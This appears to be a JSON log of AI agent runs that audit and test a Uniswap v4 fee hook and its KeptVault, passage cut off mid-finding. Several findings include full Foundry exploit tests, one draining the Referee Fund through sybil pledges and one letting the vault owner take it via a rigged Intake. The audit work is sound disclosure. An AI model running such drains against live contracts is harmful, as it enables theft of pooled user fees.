hours);\n            ms[i].amount = 1;\n            ms[i].chainId = 4663;\n            ms[i].target = address(vault);\n            ms[i].title = \"already true\";\n        }\n        vm.prank(attacker);\n        uint256 id = vault.createPledge(IERC20(address(junk)), attacker, \"sybil\", ms, 0.5 ether);\n\n        // Each milestone: buy a check with the float, get 'kept', the Referee Fund rebates the price\n        // into the pledge budget, which funds the next check. The float is reused eight times.\n        for (uint8 i; i < 8; ++i) {\n            vm.prank(attacker);\n            bytes32 rid = vault.check(id, i);\n            _keptVerdict(id, i, rid);\n            vault.settle(id, i);\n        }\n        vault.withdrawBudget(id);\n\n        uint256 drained = fundBefore - vault.refereeFund();\n        assertEq(imd.balanceOf(attacker), attackerBefore, \"attacker ends with the float it started with\");\n        assertEq(imd.balanceOf(oracleTreasury), 8 * 0.5 ether, \"the oracle was paid 8 checks\");\n        assertEq(drained, 8 * 0.5 ether, \"the Referee Fund paid for all of them\");\n        // Expected behaviour of a fund meant to rebate checks of real milestones: a pledge that locks\n        // nothing of value behind a question that is true at creation should not be able to drain it.\n        assertEq(drained, 0, \"sybil pledges must not drain the Referee Fund\");\n    }\n}","reproduction":"State: KeptVault with an honest Intake quoting 0.5 IMD and an honest signer; refereeFund = 100 IMD (swept from the hook). Attacker holds 0.5 IMD and 8 wei of a self-minted ERC-20. Calls: (1) createPledge(junkToken, attacker, 'sybil', [8 x {kind: ContractDeployed, chainId: 4663, target: address(vault), deadline: now + 1h, amount: 1}], 0.5e18); (2) for i in 0..7: check(id, i) as attacker; oracle delivers a signed kept attestation (issuedAt = askedAt, chainId 4663, agreed 9/9); settle(id, i); (3) withdrawBudget(id). Expected: a pledge that locks nothing of value behind questions that are already true cannot pull from the Referee Fund. Actual: refereeFund 100 -> 96 IMD, oracle treasury +4 IMD, attacker's IMD balance unchanged (0.5 before and after), the junk token returned. Run: forge test --match-path test/scratch/RefereeFundSybilDrain.t.sol (fails with 'sybil pledges must not drain the Referee Fund: 4000000000000000000 != 0').","severity":"medium","snippet":"        if (price != 0 && refereeFund >= price) {\n            refereeFund -= price;\n            p.budget += price;","title":"Referee Fund (the hook's sole fee destination) is drainable to the oracle at zero net cost via sybil pledges on worthless tokens with trivially-true milestones"},{"citation":"resolved","description":"beforeInitialize pins this hook to one KEPT/IMD pool, but KeptToken has no transfer restriction (by the brief: no tax) and PoolManager.initialize is permissionless for any other PoolKey. Anyone can initialize PoolKey(IMD, KEPT, fee 3000, spacing 60, hooks = address(0)) and route KEPT/IMD volume there with no hook fee. The Referee Fund's revenue therefore depends on the factory-held liquidity staying the deepest venue; after the opening window the hooked pool charges 1% + 1.25% LP against 0.3% elsewhere, so liquidity and volume have an incentive to migrate. This matches the brief (no token tax) and is not a code defect; it is recorded so the economic expectation 'every swap funds the Referee Fund' is read as 'every swap in this pool'. No change recommended unless the requester wants the fee to be unavoidable, which would require a token-level mechanism the brief excludes.","line":88,"path":"src/KeptHook.sol","reproduction":"State: KEPT and IMD exist; the hooked pool is live. Call: PoolManager.initialize(PoolKey{currency0: min(IMD,KEPT), currency1: max(IMD,KEPT), fee: 3000, tickSpacing: 60, hooks: IHooks(address(0))}, sqrtPriceX96) from any account; add liquidity; swap. Expected per the economics narrative: swaps between KEPT and IMD pay the Referee fee. Actual: KeptHook is never called, hook.collected() is unchanged, refereeFund receives nothing.","severity":"info","snippet":"    function beforeInitialize(address sender, PoolKey calldata key, uint160)","title":"The 1% Referee fee applies only to the single hooked pool; a permissionless hookless KEPT/IMD pool avoids it entirely (design property, stated for the economics record)"}],"hash":"6ee6e03f73276090978181bcb071569d6a094866c92baf019b1cb5e34113715a","nodeId":"50af840e-3487-4ae6-b879-fcf7e95ea960","outcome":"completed","summary":"The findings file is valid JSON, all three snippets match the tree line-for-line, and both scratch proofs fail on the current code as reported. The review is complete.\n\n**Result: two substantiated medium findings and one informational note, written to `.imd-findings.json` with coverage rows for all 22 entry points plus five invariant and dependency rows.**\n\n- **Finding 1 (medium, hook, proof attached).** A 1-wei exact-in IMD swap on the freshly initialized, empty pool is charged 1 wei and starts the 30-minute anti-snipe window, because reserve = 1, the quote becomes 0, and a zero fill equals budget minus reserve. The PoolManager swaps nothing. The README anticipates liquidity seeded after initialization, so anyone with 1 wei of IMD can make the 20% opening fee decay to 1% before real trading opens. The scratch test under `test/scratch/EmptyPoolOpensWindow.t.sol` fails on the current code with `openedAt` set to the swap's timestamp.\n\n- **Finding 2 (medium, vault, proof attached).** The Referee Fund, the hook's only fee destination, is drainable at zero net cost. A pledge on a self-minted token with eight \"ContractDeployed at the vault\" milestones is kept by construction, each kept verdict rebates the check price into the attacker's budget, and `withdrawBudget` returns it. The test in `test/scratch/RefereeFundSybilDrain.t.sol` shows 4 IMD leaving the fund to the oracle while the attacker's balance is unchanged. The vault is live and immutable here, so the author must decide whether to accept, gate, or redirect.\n\n- **Info.** A hookless KEPT/IMD pool can be initialized by anyone and pays no Referee fee. That is consistent with the no-tax brief and is recorded only so the economics are read as \"every swap in this pool\".\n\n**Coverage.** All hook, token, and vault entry points were traced; the fee and fill math was checked against Uniswap v4's swap loop in both currency orders and found consistent apart from the zero-fill case. The full offline suite passes (153 tests). The one `unreached` row is the live IMD token's owner powers, which I could not verify within the budget. No repository file was changed; the scratch tests live only under `test/scratch/`.","treeHash":null,"usage":{"cachedInputTokens":1462235,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":54075,"runtime":"claude","turns":32,"wallClockMs":853265}},{"artifacts":[],"attempt":1,"bundleHash":"6e86db3fa22df7c280a92716fb2a8cf34b655bc8b41488270772eeb45d8fc107","device":"9ab27edcfd62be02","findings":[],"hash":"73ddbef33839008cf97ac518a547641f3ea070c56f20e62818170756e0434b14","nodeId":"26a1acd3-d549-42f0-9316-e8ab9688a309","outcome":"completed","summary":"I updated the hook invariant tests to match the hook's new opening rule. The full suite passes with the verifier's seed: 205 passed, 0 failed, 1 skipped, and `forge build` is clean.\n\n**What changed and why:** after my last round, another contributor changed `src/KeptHook.sol`. The 30-minute fee window now opens only on the first swap that actually moves IMD through the pool. A 1-wei swap, where the whole wei is fee, is still charged but no longer opens it. My invariant in `test/KeptHookInvariant.t.sol` still assumed the old rule, \"the window opens on the first charged swap\". It only passed because random trades almost never hit exactly 1 wei, so it would have failed whenever one did. The fix:\n\n- **Clock check:** the handler now tracks the window against the IMD amount in the pool manager's swap event, not against any fee being charged. The invariant is now \"the window is closed only if no swap ever moved IMD\", and a closed window must charge the 20% opening fee.\n- **New dust trade:** the random sequences now include a 1-wei trade (`dustSwap`), so the \"charged but doesn't open the window\" case actually comes up instead of being left to chance. The rest of the handler is unchanged; I only moved the swap body into a shared internal helper.\n- **New unit test:** `test_handlerDustBuyIsChargedWithoutOpening` checks that a 1-wei buy collects 1 wei and leaves the window closed. The next real trade then opens it at that trade's timestamp. It runs with IMD as either token of the pair.\n\nNo other test files changed, and nothing outside `test/`. I found no defect to report, so I didn't write `.imd-findings.json`. I also checked the new rule against how the hook estimates each swap's fill: a swap on an empty pool fills nothing and doesn't open the window, which agrees with the random-sequence results.\n\nStill owed: the Robinhood fork rehearsal in `test/fork/Robinhood.t.sol` skips when there's no fork URL, so it didn't run here. It still has to be run against the live PoolManager for `docs/VERIFICATION.md`.\n\nThe change is committed as `e5f0670`.","treeHash":"1ea819ea1432036dad617ec9f64c1253dd71600d","usage":{"cachedInputTokens":389757,"inputTokens":20,"model":"claude-opus-5-5","outputTokens":7529,"runtime":"claude","turns":12,"wallClockMs":487878}},{"artifacts":[],"attempt":1,"bundleHash":"19cf5f3880da10f4045468bbb588c31d98711043149fa987901e16067786bc5b","device":"ee9fbaf2480d1034","findings":[],"hash":"adbe371a9bf3c565de8fb0aab94b263f39d65deeaf5075ce0a292eb2787e0fdd","nodeId":"f4a7e7c5-eb96-4fe7-a0a5-d3e37a6353e6","outcome":"completed","summary":"The manifest is written and verified. launch.json is the only change in the working tree.\n\n**What was built**\n\n- `launch.json` at the repository root, with `\"kind\": \"univ4_hook\"` as its first field.\n- Hook: KeptHook with constructor arguments in declaration order: $poolManager, IMD at 0x5f7bb59365ce557c26dbcaa4ee9d39a4b95b7127, $token, the deployed KeptVault at 0x3152f9cbf64d0c1ac24ea7e101db3e4d8da86896, $factory.\n- Permissions: beforeInitialize, beforeSwap, afterSwap, beforeSwapReturnDelta, afterSwapReturnDelta. These match what getHookPermissions returns in src/KeptHook.sol and the mined flags 0x20cc.\n- Token: KeptToken, name KEPT, symbol KEPT, 18 decimals, no constructor arguments.\n- Pool: paired currency IMD, fee 12500, tick spacing 60, initialPrice as the launch facts give it. The hook's beforeInitialize accepts exactly fee 12500 and tick spacing 60, so the listed fee is the one it initializes with.\n- No owner placeholder is used because the hook has no owner, admin, proxy or upgrade path. No stand-in addresses appear anywhere.\n\n**Checks**\n\n- JSON parses, the notes field is 2,575 characters, under the 4,000 cap.\n- `forge build` and `forge test --offline` with the verifier's fuzz seed: 153 passed, 0 failed, 1 skipped. The skipped test is the opt-in Robinhood fork suite, which docs/VERIFICATION.md records as passing on the live PoolManager at block 92,017,157.\n- `git status` shows only launch.json as new. No source, configuration or library file was touched.","treeHash":"79c314651d852fdea83ed3bd4b857f4d1cf9bddd","usage":{"cachedInputTokens":207967,"inputTokens":162,"model":"claude-fable-5-1","outputTokens":4401,"runtime":"claude","turns":10,"wallClockMs":404875}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fb1af3f11ddf6470","findings":[{"citation":"resolved","description":"Trust gap (access x economics x asymmetry). KeptHook sweeps 100% of its fees into KeptVault.refereeFund, which is meant to pay back the oracle check of milestones a real team keeps. The only eligibility test for a rebate is that the oracle answered kept. But createPledge is permissionless, the locked token is arbitrary (a worthless self-minted token, 1 wei per milestone suffices), checks open at creation, and Questions.Kind.ContractDeployed accepts any already-deployed address on chain 4663, so the honest oracle answers true before the pledge exists. Every such check is rebated in full from refereeFund into the pledge budget, and withdrawBudget returns that budget to the creator. The self-dealer ends with exactly what they started with (minus gas) while `price` of hook fees per milestone leaves the fund and lands at the Intake treasury. With 8 milestones per pledge and unlimited pledges, anyone can empty the fund right after each sweep (sweep is permissionless too), so genuine teams never get rebates and the hook's fee stream goes to the oracle operator instead of the teams it was charged for. Fix needs a design decision: e.g. only rebate milestones whose kept attestation is issued after the pledge's createdAt plus a minimum lead and that were not already true at creation (a creation-time negative check), cap rebates per pledge relative to locked value, or restrict rebates to an allow-listed token/creator set.","line":380,"path":"src/KeptVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {KeptVault} from \"src/KeptVault.sol\";\nimport {OracleAttestation} from \"src/OracleAttestation.sol\";\nimport {Questions} from \"src/libraries/Questions.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract Tok is ERC20 {\n    constructor() ERC20(\"T\", \"T\") {}\n\n    function mint(address to, uint256 a) external {\n        _mint(to, a);\n    }\n}\n\n/// Stand-in for the live IMD Intake: charges `price`, sends it to its treasury, delivers later.\ncontract Intake is IIntake {\n    uint256 public price = 0.5 ether;\n    address public immutable treasury;\n    uint256 public n;\n\n    constructor(address t) {\n        treasury = t;\n    }\n\n    function priceOf(bytes32, address) external view returns (uint256) {\n        return price;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32)\n    {\n        IERC20(asset).transferFrom(msg.sender, treasury, amount);\n        return keccak256(abi.encode(++n));\n    }\n\n    function deliver(address to, bytes32 id, OracleAttestation.Attestation calldata a, bytes calldata sig) external {\n        KeptVault(to).onOracleResult(id, a, sig);\n    }\n}\n\n/// The Referee Fund (every KeptHook fee) can be emptied by any account at zero net cost: a \"team\"\n/// whose milestone is already true when the pledge is created (ContractDeployed on any existing\n/// contract) buys a check, the honest oracle answers kept, and the full price comes back out of the\n/// Referee Fund into the pledge budget, which withdrawBudget returns to the creator.\ncontract RefereeDrainTest is Test {\n    bytes32 constant ACTION = 0x6f7261636c652e72657175657374406f7261636c652d31000000000000000000;\n    uint256 constant KEY = 0xA11CE;\n    KeptVault vault;\n    Intake intake;\n    Tok imd;\n    Tok junk;\n    address hookStandIn = makeAddr(\"KeptHook\");\n    address attacker = makeAddr(\"attacker\");\n    address treasury = makeAddr(\"intakeTreasury\");\n\n    function setUp() public {\n        vm.warp(1_791_000_000);\n        imd = new Tok();\n        junk = new Tok();\n        intake = new Intake(treasury);\n        vault = new KeptVault(makeAddr(\"owner\"), address(intake), address(imd), ACTION, vm.addr(KEY), 9, 7);\n        // 100 IMD of hook fees swept into the Referee Fund.\n        imd.mint(hookStandIn, 100 ether);\n        vm.startPrank(hookStandIn);\n        imd.approve(address(vault), 100 ether);\n        vault.fundReferee(100 ether);\n        vm.stopPrank();\n        imd.mint(attacker, 0.5 ether);\n        junk.mint(attacker, 8);\n    }\n\n    function _attest(uint256 id, uint8 i, bytes32 rid) internal view returns (OracleAttestation.Attestation memory a) {\n        (,,,,,,,, uint64 askedAt) = vault.milestone(id, i);\n        a.requestId = rid;\n        a.chainId = 4663;\n        a.answerType = OracleAttestation.ANSWER_BOOL;\n        a.answer = abi.encode(true);\n        a.panelSize = 9;\n        a.quorum = 7;\n        a.agreed = 9;\n        a.issuedAt = askedAt;\n        a.expiresAt = askedAt + 1 days;\n    }\n\n    function test_refereeFundCannotBeDrainedByAlreadyTrueMilestones() public {\n        vm.startPrank(attacker);\n        imd.approve(address(vault), type(uint256).max);\n        junk.approve(address(vault), type(uint256).max);\n        KeptVault.MilestoneInput[] memory ms = new KeptVault.MilestoneInput[](8);\n        for (uint256 i; i < 8; ++i) {\n            ms[i].kind = Questions.Kind.ContractDeployed;\n            ms[i].deadline = uint64(block.timestamp + 1 hours);\n            ms[i].amount = 1; // one wei of a worthless token\n            ms[i].chainId = 4663;\n            ms[i].target = address(vault); // already deployed: the answer is true before the pledge exists\n            ms[i].title = \"x\";\n        }\n        uint256 id = vault.createPledge(IERC20(address(junk)), attacker, \"x\", ms, 0.5 ether);\n        vm.stopPrank();\n\n        for (uint8 i; i < 8; ++i) {\n            vm.prank(attacker);\n            bytes32 rid = vault.check(id, i);\n            OracleAttestation.Attestation memory a = _attest(id, i, rid);\n            (uint8 v, bytes32 r, bytes32 s) = vm.sign(KEY, vault.attestationDigest(a));\n            intake.deliver(address(vault), rid, a, abi.encodePacked(r, s, v)); // honest \"kept\"\n        }\n        for (uint8 i; i < 8; ++i) vault.settle(id, i);\n        vault.withdrawBudget(id);\n\n        // Attacker ends where it started (0.5 IMD, 8 wei junk back); 4 IMD of hook fees left the fund.\n        assertEq(imd.balanceOf(attacker), 0.5 ether);\n        assertEq(vault.refereeFund(), 100 ether, \"Referee Fund paid rebates to a self-dealing pledge\");\n    }\n}","reproduction":"State: refereeFund = 100 IMD (sweep() of hook fees). Attacker holds 0.5 IMD and 8 wei of a self-minted ERC20 JUNK. 1) createPledge(JUNK, attacker, \"x\", 8 x {kind: ContractDeployed, chainId: 4663, target: address(KeptVault), amount: 1, deadline: now+1h, title: \"x\"}, budget 0.5 IMD). 2) For i in 0..7: check(id,i) pays 0.5 IMD to the Intake; the oracle honestly signs kept=true (the vault has code); onOracleResult rebates 0.5 IMD from refereeFund into the budget. 3) settle(id,i) x8 returns the 8 wei JUNK; withdrawBudget(id) returns 0.5 IMD. Expected: refereeFund stays 100 IMD (no real milestone was kept). Actual: refereeFund = 96 IMD, attacker IMD balance back at 0.5. Proof test fails with 'Referee Fund paid rebates to a self-dealing pledge: 96000000000000000000 != 100000000000000000000'.","severity":"medium","snippet":"        if (price != 0 && refereeFund >= price) {\n            refereeFund -= price;\n            p.budget += price;\n            totalBudgets += price;\n            emit Rebated(t.pledgeId, t.index, price);\n        }","title":"Referee Fund (every KeptHook fee) can be drained by any account at zero net cost with milestones that are already true when the pledge is created"},{"citation":"resolved","description":"Trust gap (access x economics, Seam 4). The brief presents KeptHook as having no owner, and its `vault` is immutable, but the hook's only destination is the live KeptVault 0x3152f9cbf64d0c1ac24ea7e101db3e4d8da86896, whose owner() on Robinhood is 0xD3336A7c8a7D8814C437196aBb16c4FE7aA7B016, an EOA (cast code returns 0x). proposeProtocol lets that owner replace the Intake, the action and the oracle signer; after PROTOCOL_DELAY anyone executes it. With an owner-controlled Intake quoting price = refereeFund and an owner-held signer, one check is 'kept' and rebated for the full fund, which withdrawBudget pays to the owner. In-flight checks are protected by inFlightIntake/inFlightSigner snapshots, but the Referee Fund balance itself is not. This is a privileged power, not an unprivileged bypass; it should be disclosed with the hook launch (swappers' fees are custodied by a single key with a 7-day public warning), or the fund made non-rebatable above the price quoted by the Intake that was configured when the fee was deposited / capped per check (e.g. rebate at most DEFAULT_MAX_PRICE).","line":574,"path":"src/KeptVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {KeptVault} from \"src/KeptVault.sol\";\nimport {OracleAttestation} from \"src/OracleAttestation.sol\";\nimport {Questions} from \"src/libraries/Questions.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract Tok is ERC20 {\n    constructor() ERC20(\"T\", \"T\") {}\n\n    function mint(address to, uint256 a) external {\n        _mint(to, a);\n    }\n}\n\n/// An intake the vault owner deploys: quotes whatever the owner wants and pays the owner.\ncontract OwnerIntake is IIntake {\n    uint256 public price;\n    address public immutable boss;\n\n    constructor(address b) {\n        boss = b;\n    }\n\n    function setPrice(uint256 p) external {\n        price = p;\n    }\n\n    function priceOf(bytes32, address) external view returns (uint256) {\n        return price;\n    }\n\n    function request(bytes32, bytes calldata, Callback calldata, address asset, uint256 amount)\n        external\n        payable\n        returns (bytes32)\n    {\n        IERC20(asset).transferFrom(msg.sender, boss, amount);\n        return keccak256(\"one\");\n    }\n\n    function deliver(address to, bytes32 id, OracleAttestation.Attestation calldata a, bytes calldata sig) external {\n        KeptVault(to).onOracleResult(id, a, sig);\n    }\n}\n\n/// KeptHook has no owner, but every fee it sweeps lands in the Referee Fund of a vault whose owner\n/// (an EOA on Robinhood) can take the whole fund after one 7-day protocol change.\ncontract OwnerDrainTest is Test {\n    bytes32 constant ACTION = 0x6f7261636c652e72657175657374406f7261636c652d31000000000000000000;\n    uint256 constant OWNER_KEY = 0xB0B;\n    KeptVault vault;\n    Tok imd;\n    Tok junk;\n    address owner;\n    address hookStandIn = makeAddr(\"KeptHook\");\n\n    function setUp() public {\n        vm.warp(1_791_000_000);\n        owner = vm.addr(OWNER_KEY);\n        imd = new Tok();\n        junk = new Tok();\n        vault = new KeptVault(owner, makeAddr(\"liveIntake\"), address(imd), ACTION, makeAddr(\"oracle\"), 9, 7);\n        imd.mint(hookStandIn, 100 ether);\n        vm.startPrank(hookStandIn);\n        imd.approve(address(vault), 100 ether);\n        vault.fundReferee(100 ether);\n        vm.stopPrank();\n        imd.mint(owner, 100 ether);\n        junk.mint(owner, 1);\n    }\n\n    function test_vaultOwnerCannotTakeHookFees() public {\n        vm.startPrank(owner);\n        OwnerIntake evil = new OwnerIntake(owner);\n        evil.setPrice(100 ether);\n        vault.proposeProtocol(address(evil), ACTION, owner);\n        vm.warp(block.timestamp + 7 days);\n        vault.executeProtocol();\n\n        imd.approve(address(vault), type(uint256).max);\n        junk.approve(address(vault), type(uint256).max);\n        KeptVault.MilestoneInput[] memory ms = new KeptVault.MilestoneInput[](1);\n        ms[0].kind = Questions.Kind.ContractDeployed;\n        ms[0].deadline = uint64(block.timestamp + 1 hours);\n        ms[0].amount = 1;\n        ms[0].chainId = 4663;\n        ms[0].target = address(vault);\n        ms[0].title = \"x\";\n        uint256 id = vault.createPledge(IERC20(address(junk)), owner, \"x\", ms, 100 ether);\n        bytes32 rid = vault.check(id, 0, 100 ether);\n        vm.stopPrank();\n\n        OracleAttestation.Attestation memory a;\n        a.requestId = rid;\n        a.chainId = 4663;\n        a.answerType = OracleAttestation.ANSWER_BOOL;\n        a.answer = abi.encode(true);\n        a.panelSize = 9;\n        a.quorum = 7;\n        a.agreed = 9;\n        a.issuedAt = uint64(block.timestamp);\n        a.expiresAt = uint64(block.timestamp + 1 days);\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(OWNER_KEY, vault.attestationDigest(a));\n        evil.deliver(address(vault), rid, a, abi.encodePacked(r, s, v));\n        vault.settle(id, 0);\n        vault.withdrawBudget(id);\n\n        assertEq(vault.refereeFund(), 100 ether, \"Referee Fund emptied\");\n        assertEq(imd.balanceOf(owner), 100 ether, \"vault owner pocketed the hook's fees\");\n    }\n}","reproduction":"State: refereeFund = 100 IMD from sweeps. Owner: 1) deploy OwnerIntake (priceOf returns 100 IMD, request() forwards the IMD to the owner); proposeProtocol(OwnerIntake, ACTION, ownerKey). 2) warp 7 days; executeProtocol(). 3) createPledge(JUNK, owner, \"x\", [ContractDeployed target=vault, amount 1], budget 100 IMD); check(id,0,100e18) sends 100 IMD to the owner via OwnerIntake. 4) OwnerIntake delivers an attestation signed by the owner key with answer true; rebate of 100 IMD moves refereeFund into the budget. 5) settle(id,0); withdrawBudget(id) pays 100 IMD to the owner. Expected (for a fee recipient described as ownerless): refereeFund stays 100 IMD. Actual: refereeFund = 0, owner +100 IMD. Proof test fails with 'Referee Fund emptied: 0 != 100000000000000000000'.","severity":"low","snippet":"    function executeProtocol() external {\n        ProtocolChange memory c = pendingProtocol;\n        if (c.readyAt == 0) revert NothingPending();\n        if (block.timestamp < c.readyAt) revert TooEarly();\n        delete pendingProtocol;\n        _setProtocol(c.intake, c.action, c.signer);","title":"Trust assumption: the ownerless hook pays all fees into a Referee Fund that the vault's EOA owner can take whole after one 7-day protocol change"}],"hash":"c178f0178d369470a8e9035b3ca5de65289c1a487b5c22811badd60ae7365282","nodeId":"db4733c3-f4b0-4e2d-9d38-f5e5c035cafc","outcome":"completed","summary":"I found two problems, and both are in where the hook's fees end up rather than in the hook itself. Each one has a Foundry test that fails on the current code. The findings and the coverage record (24 rows) are in `.imd-findings.json`. No repository files were changed, and I deleted the scratch tests after running them; their source is copied into the `proof` fields.\n\n**1. Medium: anyone can empty the Referee Fund at no net cost** (`src/KeptVault.sol:380`)\nThe fund pays a check back whenever the oracle answers \"kept\", and that is the only condition. Anyone can create a pledge, lock 1 wei of a token they minted themselves, and use the \"contract deployed\" milestone type pointed at a contract that already exists. The oracle honestly answers true, the full check price comes out of the fund, and `withdrawBudget` hands it back to the attacker.\n- **Reproduction:** with 100 IMD in the fund, one pledge with 8 such milestones leaves 96 IMD. The attacker ends with exactly the 0.5 IMD they started with.\n- **Impact:** the 4 IMD ends up with the oracle's Intake treasury instead of teams that actually kept milestones. Since `sweep()` is open to anyone, the fund can be emptied right after every sweep.\n- **Fix:** this needs a design decision. Options are to rebate only milestones kept after creation, to cap rebates per pledge, or to allow-list who can receive them.\n\n**2. Low (an owner power to disclose, not a bypass): the vault's owner can take the whole fund** (`src/KeptVault.sol:574`)\nThe hook has no owner, but all its fees go to the deployed vault at `0x3152…`. That vault's `owner()` is `0xD3336A7c8a7D8814C437196aBb16c4FE7aA7B016`, and `cast code` returns nothing at that address, so it is a single wallet key, not a contract.\n- **Path:** the owner proposes their own Intake and signer, waits the public 7-day delay, and runs `executeProtocol`. One check priced at the whole fund is then answered \"kept\" with the owner's own signature.\n- **Reproduction:** the test takes the fund from 100 IMD to 0, all paid to the owner.\n- **What to do:** say this plainly in the hook launch, or cap how much a single check can be paid back.\n\n**Holds:**\n- Only the factory can initialize the pool, and only once, with the exact IMD/KEPT pair, fee 12500, tick spacing 60 and this hook.\n- Only the PoolManager can call the swap callbacks.\n- `unlockCallback` can only run inside the hook's own `sweep`.\n- The hook has no settings it can change and never approves anyone to move its fee claims.\n- The token has no special roles.\n- Constructor argument order and the permission flags (0x20cc) match the brief.\n\n**Not covered:**\n- **Fee arithmetic:** I didn't check whether the fee is calculated correctly. That falls to the math reviewer.\n- **The real launch factory:** it isn't in this repository. If it initializes the pool and adds liquidity in separate transactions, someone could add their own tiny liquidity in between and start the 30-minute fee countdown early. I couldn't verify this, so I haven't reported it as a finding.","treeHash":null,"usage":{"cachedInputTokens":1277861,"inputTokens":36,"model":"claude-opus-5-5","outputTokens":28243,"runtime":"claude","turns":20,"wallClockMs":377738}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e12f98dda6acc55f","findings":[{"citation":"resolved","description":"Every fee formula in the hook floors: beforeSwap line 128 (`budget * rate / 10_000`), line 134/136 (`fill * rate / ...`) and afterSwap line 155 (`uint256(amount) * rate / 10_000` or `/ (10_000 - rate)`). Pashov's precision checklist says fees must round up; here they round in the swapper's favour, and for swaps whose IMD leg is below 10_000/rate wei the Referee Fund receives nothing at all. At the steady 1% rate any IMD leg up to 99 wei (exact-in) or 98 wei (exact-out, 98*100/9900 = 0) pays zero fee; at the 20% opening rate any IMD leg up to 4 wei pays zero. The shortfall is bounded by 1 wei per swap and cannot compound, and splitting a trade into sub-100-wei swaps costs far more gas than the fee avoided, so this is a correctness note for the author rather than an exploitable loss. Fix: round the fee up (e.g. Math.mulDiv with Rounding.Ceil, or `(x * rate + 9_999) / 10_000`) consistently in beforeSwap and afterSwap, keeping the `fee <= requested` bound.","line":128,"path":"src/KeptHook.sol","reproduction":"Local PoolManager, KEPT/IMD pool initialised at price 1:1 with liquidity 1e27 in [-600, 600], hook at a 0x20cc-flagged address. (a) At openedAt (feeNow() == 2000): swap exact-in 4 wei IMD -> KEPT; expected fee ceil(4*0.2) = 1 wei, actual hook.collected() delta = 0 (4*2000/10_000 = 0). Exact-in 5 wei charges 1 wei. (b) vm.warp(openedAt + 1800) (feeNow() == 100): swap exact-in 99 wei IMD -> KEPT; expected 1 wei, actual collected delta 0. (c) Same time: swap exact-out 90 wei KEPT, the pool takes 93 wei IMD; expected fee ceil(93*100/9900) = 1 wei, actual 0 (afterSwap line 155: 93*100/9900 = 0). Verified with a scratch Foundry test on the committed HookFixture (test/scratch/Edge.t.sol, test_dustExactInAtOpening / test_dustExactInSteady / test_dustExactOutSteady, all assertions hold on current code).","severity":"low","snippet":"        uint256 reserve = exactIn ? budget * rate / 10_000 : budget * rate / (10_000 - rate);","title":"IMD fee rounds down and truncates to zero on small swaps (fee should round up)"},{"citation":"resolved","description":"beforeInitialize stores openedAt at the moment the launch factory calls PoolManager.initialize. feeNow() then decays from 2000 to 100 bps over the next 1800 seconds regardless of whether the pool holds any liquidity. The documented guarantee (SPEC.md: '20% at opening, decaying linearly to 1% over 30 minutes (anti-snipe)') therefore only holds if the factory initialises the pool and seeds its liquidity in the same transaction, or within seconds of each other. If the factory initialises at hook deployment and seeds the position in a later transaction or block (for example after a sale or allocation step), the first swap anyone can make already pays the steady 1%, and the Referee Fund loses the opening premium that the schedule was meant to collect from snipers. The hook has no way to re-open the window, and the adapter cannot fix this by configuration because openedAt is written only in beforeInitialize. Whether this bites depends on the launch factory's initialise-versus-seed timing, which is outside this repository; the adapter should confirm the factory performs both in one transaction, or the author should start the clock on the first swap (set openedAt lazily in beforeSwap when it is zero) instead of in beforeInitialize.","line":99,"path":"src/KeptHook.sol","reproduction":"Local PoolManager; factory account calls manager.initialize(key, sqrtPrice 2^96) at t = 10_000 (fixture OPEN). Add no liquidity until t = 11_800, then seed [-600, 600] with 1e27 and swap exact-in 100e18 IMD -> KEPT. Expected if the window started when trading became possible: feeNow() == 2000 and collected == 20e18. Actual: hook.feeNow() == 100 and hook.collected() == 1e18 (verified in test/scratch/Edge.t.sol test_openingClockStartsAtInitialize on the committed fixture, where liquidity exists from t = 10_000 but the first swap is at t = 11_800; feeNow() returns 100 and the 100e18 swap accrues exactly 1e18).","severity":"low","snippet":"        openedAt = block.timestamp;","title":"Anti-snipe window is timed from pool initialisation, not from the first liquidity, so it can elapse before anyone can trade"},{"citation":"resolved","description":"Read in full: src/KeptHook.sol, src/KeptToken.sol, src/libraries/SpecifiedAmount.sol, src/libraries/HookFlags.sol, the KeptVault.fundReferee/_pullExact path the hook depends on (src/KeptVault.sol lines 262-275 and 606-610), test/KeptHook.t.sol, test/helpers/HookFixture.sol and TestRouter.sol, docs/SPEC.md, docs/VERIFICATION.md, docs/launches/vault-2172.launch.json, and the v4-core Hooks.sol / Pool.sol / PoolManager.sol paths the hook's deltas flow through (beforeSwap delta clamp at Hooks.sol:298, afterSwap delta composition at Hooks.sol:329-338, Pool.swap fee/limit handling). Not read: the rest of KeptVault (OracleAttestation, Questions, pledge/check logic), which is a separately launched and separately audited contract, and the web/scripts code. Not reachable offline: the live IMD token, PoolManager and KeptVault bytecode on Robinhood Chain; the fork rehearsal in docs/VERIFICATION.md was not re-run (the RobinhoodForkTest is the one skipped test in `forge test --offline`). Checks run: `forge test --offline` (133 passed, 0 failed, 1 skipped) plus five scratch tests. Verified clean against the Pashov checklist and the launch's forbidden list: all four swap modes charge exactly floor(gross IMD * feeNow / 10_000) on the IMD leg only (fixture asserts this in both currency orders, 256 fuzz runs each, including partial fills and tick crossings); ERC-6909 claim accounting nets the hook's delta to zero inside the manager's unlock; sweep() is permissionless, guarded against re-entry and in-unlock calls, and the deployed vault's IMD (0x5f7bb593...) matches the hook's IMD argument so fundReferee's exact-balance pull cannot strand fees; beforeInitialize is PoolManager-only, factory-only, single-use, pins fee 12500 / tickSpacing 60 / the IMD-KEPT pair, and returns the correct selector; permissions match 0x20cc (beforeInitialize | beforeSwap | afterSwap | beforeSwapReturnDelta | afterSwapReturnDelta) and 